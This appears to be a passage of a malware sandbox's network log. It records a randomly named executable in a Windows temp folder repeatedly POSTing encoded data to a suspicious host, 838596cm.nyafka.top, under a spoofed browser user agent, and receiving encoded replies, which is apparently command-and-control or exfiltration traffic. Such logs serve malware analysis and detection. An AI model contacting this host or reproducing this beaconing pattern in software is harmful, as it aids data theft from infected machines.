Jan 8, 2025 17:13:03.025515079 CET	2472	OUT	Data Raw: 06 2e 28 01 2a 30 03 5b 3c 35 03 0e 3d 3b 3d 22 11 01 38 1c 0d 2a 26 36 0e 1e 3e 26 0d 2a 2f 5c 3a 28 38 3d 20 02 1e 5e 3e 3f 01 1a 32 00 02 5b 08 30 21 24 15 07 36 13 33 41 30 26 11 03 04 23 35 2c 49 2c 0a 04 2d 1b 3f 1f 19 1b 03 3e 1d 24 3d 59 Data Ascii: .(0[<5=;="8&6>&/\:(8= ^>?2[0!$63A0&#5,I,-?>$=Y_\]01^ >+%(T$062\6_!0T37:!6?10Z098&%'</["/:]&:+?8>#")16-.$!=/'X30:/W2#W3$4"?+.0_:)!8$:%$'P5>][9#2
Jan 8, 2025 17:13:03.025540113 CET	2472	OUT	Data Raw: 2b 2c 52 35 33 22 0c 1b 24 22 15 5f 32 21 20 00 24 38 5b 54 0b 2a 53 0d 36 2f 31 50 33 5c 11 5a 06 37 0d 18 0d 01 3c 1c 3b 03 3f 18 01 35 3c 20 22 20 18 54 38 31 16 3e 3b 41 05 1e 22 13 20 2f 3a 2d 3e 5b 38 22 26 25 3a 0a 2c 54 3e 2f 33 5c 10 23 Data Ascii: +,R53"$"_2! $8[TS6/1P3\Z7<;?5< " T81>;A" /:->[8"&%:,T>/3\#+07/4)YD1Z=5V0^>].:\]$&;%+U\:8U;(7;=<2+&W%;Z)[.4%2(,]:^1W')7$ .-0(6)% =))2S$0Z)>%+1'/^7<1P":5T28("-_Q&A<<01:.=Y16:,
Jan 8, 2025 17:13:03.025573015 CET	2472	OUT	Data Raw: 39 2e 5b 05 35 01 5b 20 05 26 2d 00 0c 3d 5c 2e 01 22 16 18 38 21 21 1d 3e 38 25 36 2e 3a 32 5b 07 57 2b 3c 3d 03 2b 3a 21 5d 22 0b 28 03 30 3f 31 20 13 19 35 06 5c 59 0d 28 33 07 0a 2f 28 5d 22 2d 32 58 33 24 3e 1d 26 35 30 13 2b 30 05 10 34 33 Data Ascii: 9.[5[ &-=\."8!!>8%6.:2[W+<=+:!]"(0?1 5\Y(3/(]"-2X3$>&50+043? \./#%'=V0!'\<+<^!##=.]#*4#\=Y@:5"1948!#/!$5=8)!38/,&\)(3-/U]>$=<=^"]$_><>)[^U;$83]5X+9#"Y$1&S?9I82
Jan 8, 2025 17:13:03.025609970 CET	4944	OUT	Data Raw: 26 32 33 36 00 27 23 36 30 06 3f 42 00 31 3a 27 32 37 21 0e 08 2a 2d 33 3d 00 12 59 32 14 25 52 24 43 26 25 26 38 3f 09 0d 28 20 32 0a 3a 5e 1c 0a 07 23 5b 33 5e 12 38 30 3f 25 03 22 07 22 3d 05 1b 34 18 3d 3f 26 5c 2b 5c 18 1f 27 5e 0f 2c 04 55 Data Ascii: &236'#60?B1:'27!-3=Y2%R$C&%&8?( 2:^#[3^80?%""=4=?&\+\'^,U5).#0[[^_4==.;)<$,,98<SD6)^53;"'6#)[04^^?>$A;<3Y!X24'76"/X')PS)>5<T-9U+=8%?4,4#96,]+6<Z'U-'/.,/TT #+[60,>=
Jan 8, 2025 17:13:03.135267973 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:04.543487072 CET	819	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n0LkuB7h1N%2BSa7ardvgWVEqnjbN7JpVJLHcuq%2Fq4%2FvNYJJsGplryaCWjal%2F56ZOIb%2FzC8fGfwkXSTdmo6KgVUy3rVIUTDw719%2BS9l2Gc%2FZYJM3Z7lPtkcmrNoWp9nBCXYbGXR0FS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78fe4a9f43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2082&min_rtt=1614&rtt_var=1541&sent=119&recv=267&lost=0&retrans=0&sent_bytes=25&recv_bytes=268883&delivery_rate=272438&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0
Jan 8, 2025 17:13:04.544051886 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:04.639364958 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:04.901880026 CET	821	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1MoLaNtunUIimD6YX7OfsQzHMbbwuQKlwDobbqeiJu7J96ZPpk9tylYP6eRD91UY1YCByvw%2FkxZezO%2FYg27M%2B%2FILd7PzppnIxe1Hdy9IqXQ0d28Mp%2FFZH4oB%2BVhAyPK%2FYEvKqDwM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7907b85c43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4579&min_rtt=1517&rtt_var=6083&sent=125&recv=273&lost=0&retrans=0&sent_bytes=869&recv_bytes=271740&delivery_rate=1851616&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49894	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:03.096029997 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:03.442147970 CET	2532	OUT	Data Raw: 55 53 5e 55 59 59 53 5f 5e 5f 57 54 56 59 59 5d 57 52 58 52 50 5c 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US^UYYS_^_WTVYY]WRXRP\VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _('Y0&=>!/#[*-">;%[$(9(1?>!<-#_&'P-
Jan 8, 2025 17:13:03.604185104 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:03.834062099 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P4Ry3U4GR93Mxq%2FvMbq11Em3ZIbmgpsHiEfZ2bSS1ybj3miZRUQQAXJ%2FPCHIJQQzhDsgGbXoduAqWkT4s0GdtoVqm9K2l8RPR7U9aGbLa5fvoFp1UBAZEYIhIO7UeuRRXDvYkMUw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79013f23c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2803&min_rtt=1504&rtt_var=3162&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=122720&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0
Jan 8, 2025 17:13:03.870852947 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1852 Expect: 100-continue
Jan 8, 2025 17:13:03.968310118 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:03.968774080 CET	1852	OUT	Data Raw: 55 5d 5b 57 59 59 53 59 5e 5f 57 54 56 56 59 5e 57 51 58 59 50 54 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U][WYYSY^_WTVVY^WQXYPTVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z+^ '3>[)[&/4Z>->)5';9(0=?4[5-7-#_&'P-
Jan 8, 2025 17:13:04.222570896 CET	957	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=myQIDSfEALtyHS2V6wIIlFrRzZLTo6PYLQ49Ck1Vnei3%2B13k%2BiGPArH31nAju5ReEhmAuL7vSo0ECdiP6ZQ9FqbhDh2VnrmCzjOPad62FNzW1IeVp%2Bo7Jy8ViE8pFkPAySD3SKcx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed790379a8c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5172&min_rtt=1504&rtt_var=7060&sent=6&recv=11&lost=0&retrans=0&sent_bytes=853&recv_bytes=5058&delivery_rate=1867007&cwnd=183&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0a 27 13 28 5f 23 15 03 54 3c 5c 3f 5e 3d 0d 3d 00 2e 39 06 59 25 42 2f 00 26 3c 37 00 34 01 0c 02 2b 01 36 03 24 35 38 1d 2b 2b 20 5c 04 1f 27 04 3c 38 29 56 3d 59 26 5f 27 23 3a 04 31 0d 0a 5b 31 13 27 1e 24 39 21 0f 37 07 3b 54 2c 23 31 08 3a 01 3c 58 3f 37 37 01 24 14 2f 50 0f 10 38 1a 2d 2a 27 5d 22 0f 2a 53 22 55 3b 1e 20 25 2c 59 29 03 01 50 21 06 21 17 30 23 29 19 20 0c 2c 0c 25 33 0a 04 3f 1f 3c 53 2b 33 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98''(_#T<\?^==.9Y%B/&<74+6$58++ \'<8)V=Y&_'#:1[1'$9!7;T,#1:<X?77$/P8-']"S"U; %,Y)P!!0#) ,%3?<S+3$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49906	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:05.501537085 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:05.849071026 CET	2532	OUT	Data Raw: 55 50 5e 54 59 5c 53 5c 5e 5f 57 54 56 5a 59 53 57 55 58 5d 50 5d 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP^TY\S\^_WTVZYSWUX]P]VQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^<;#3")=!\/ ?>2(+)[':)"#Y)/ -?9#_&'P-7
Jan 8, 2025 17:13:05.945871115 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:06.198607922 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=adM1O7FZmY63RuxIr9aRh3brSEOSuiT0RIEgFxT3DMVS%2BlzPyT2dNyoQ9TYgNHdZEsFS5KdwuhnTj6h2vVHn%2B7UzKmCQpiULDsjE2YHmxzA5L8kKTUUA6fieVyOYmTTFT3lTVRB5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed790fe81f729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3155&min_rtt=1951&rtt_var=3140&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=126014&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49912	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:06.658106089 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:07.004473925 CET	2532	OUT	Data Raw: 55 54 5e 50 5c 5d 53 5f 5e 5f 57 54 56 58 59 52 57 5e 58 5a 50 58 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT^P\]S_^_WTVXYRW^XZPXVX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ (;#\'3-=.8'+Z=1^X$82S(\(< Y"=8,/#_&'P-?
Jan 8, 2025 17:13:07.113850117 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:07.354341984 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0BZXNCr1cUbzvulbIQAtCBoojiys9NHHMZiFDitcTIzs%2F8WI56BuciwhZFnmOEbUhyY9cjZj6SLo1h6eKOwm68t43XRWDq2RMWOb1OVK6bYdngfzOoIWUZaCLP%2FAT64qTm86i2ko"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79172bdfc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3172&min_rtt=1441&rtt_var=4003&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=95462&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49917	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:07.515603065 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:07.881236076 CET	2532	OUT	Data Raw: 50 52 5b 55 5c 5c 56 5b 5e 5f 57 54 56 5d 59 59 57 51 58 58 50 5e 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[U\\V[^_WTV]YYWQXXP^V_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ + 0"=9,4<=X%)5Y$89<;_=?35=8-#_&'P-+
Jan 8, 2025 17:13:07.958478928 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:08.218983889 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SDTTcjJUHGumudf1%2BlLUiKUyLUKqFfpKcMPxdwMX3VU82PqJHLSGrzKHYoF87QTiVLPXvSQ%2FGbd%2BX55J6dbMdswiGphswsh%2B%2B1D5jK0nVi1b2YBllj%2Bl3CR8wRMnm0ETLTUAeGuF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed791c7f99424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3130&min_rtt=1573&rtt_var=3705&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=104040&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:13:08.305960894 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49923	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:08.479665995 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:08.832499027 CET	2532	OUT	Data Raw: 55 51 5b 52 5c 5c 56 52 5e 5f 57 54 56 5d 59 53 57 54 58 52 50 5f 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ[R\\VR^_WTV]YSWTXRP_VZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ (<0#_*-2/'?>%_);:&;%<#\>Y<\"$.#_&'P-+
Jan 8, 2025 17:13:08.982019901 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:09.255065918 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LO9Zm7K4mhteba6VYJnVF8TE0V5EQpkBoKWi4NmnaoPocjJElk4Qoc%2FuLnkFuxWqa6ePc%2FIO3JyPJWRajYToMC%2Fe27%2FXioQ3KJbbueg15zVD1k%2FrenKeUmytd1Ea56gt%2FIYauDE1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7922d99c729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4523&min_rtt=1970&rtt_var=5846&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=65175&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49929	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:09.276532888 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:09.629440069 CET	1828	OUT	Data Raw: 55 53 5e 54 59 58 56 5a 5e 5f 57 54 56 5d 59 5a 57 55 58 5b 50 5b 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US^TYXVZ^_WTV]YZWUX[P[V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+8$0">,$]=X=^*;1Z']9(0>?36+X.#_&'P-+
Jan 8, 2025 17:13:09.761085033 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:10.002829075 CET	955	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2BW8B8H%2F75O6mSn0Y6mjeGfVeX4jJDx3sDFy9YyXJLM%2FVl0kYaCUNf6T17XV3qOzlDQbcFOsZ%2BYWDFTN99IFabQ7MbdK0Mw0RsehMdeNpEvmFqckr8wYRVI24IHli8zeQG1EXacS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7927a91e0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3784&min_rtt=1718&rtt_var=4777&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2177&delivery_rate=79995&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 53 24 5b 2c 5f 34 3b 08 08 3f 3a 33 5e 29 55 2d 03 39 29 06 5c 31 1d 3f 04 26 3c 0d 05 23 01 2a 07 2b 5e 22 04 26 36 24 56 2b 2b 20 5c 04 1f 24 15 3e 28 00 0c 2a 3f 0b 05 30 0a 39 5c 25 30 34 5c 25 2d 3b 5b 27 29 0c 55 23 00 33 50 2c 0a 26 1a 2d 2b 33 01 2b 37 3c 5c 30 3e 2f 50 0f 10 3b 0d 2e 5f 2f 1e 36 1f 2a 57 20 30 28 05 23 35 0a 5f 3d 5b 3f 1b 35 11 22 03 24 33 39 1a 23 1c 09 55 33 1d 2b 16 2b 0f 2c 10 2b 33 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$S$[,_4;?:3^)U-9)\1?&<#+^"&6$V++ \$>(?09\%04\%-;[')U#3P,&-+3+7<\0>/P;._/6*W 0(#5_=[?5"$39#U3++,+3$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49931	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:09.454803944 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:09.801594973 CET	2532	OUT	Data Raw: 55 55 5e 52 5c 5f 56 5e 5e 5f 57 54 56 56 59 52 57 5f 58 5d 50 59 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU^R\_V^^_WTVVYRW_X]PYV_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ?(3[=!/4=X9(8:$].R)"'*,8\"-$-?#_&'P-
Jan 8, 2025 17:13:09.900078058 CET	25	IN	HTTP/1.1 100 Continue
